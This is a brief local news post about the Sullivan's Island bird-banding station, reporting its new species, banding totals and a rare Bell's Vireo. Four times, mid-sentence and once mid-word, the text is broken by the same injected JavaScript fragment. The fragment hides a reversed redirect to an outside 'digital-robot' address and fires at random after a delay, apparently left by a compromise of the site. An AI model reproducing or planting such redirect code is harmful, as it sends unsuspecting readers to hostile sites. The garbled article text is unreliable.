The Sullivan’s Island bird-banding station has had an eventful two weeks. The biologists have banded a handful of new species, which brings their species tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}total for the station tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 64.

Some of the new species include the Baltimore Oriole, Bell’s Vireo, Great-crested Flycatcher, and Northern Parula. The Sullivan’s Island crew has four biologists working tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to study the migratobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory birds that are passing through the Protected Land at Station 16.

As of Tues. Sept. 27, they have banded 427 birds so far in Fall 2016 and 1,317 birds since they first opened in Fall 2015.

The discovery of a Bell’s Vireo on Sullivan’s Island is noteworthy.

This species’ summer range is in the Western U.S., and they are classified as vagrants in South Carolina. Strangely enough, the bird-banding station on Kiawah Island banded another Bell’s Vireo around the same week that the Sullivan’s Island station did.
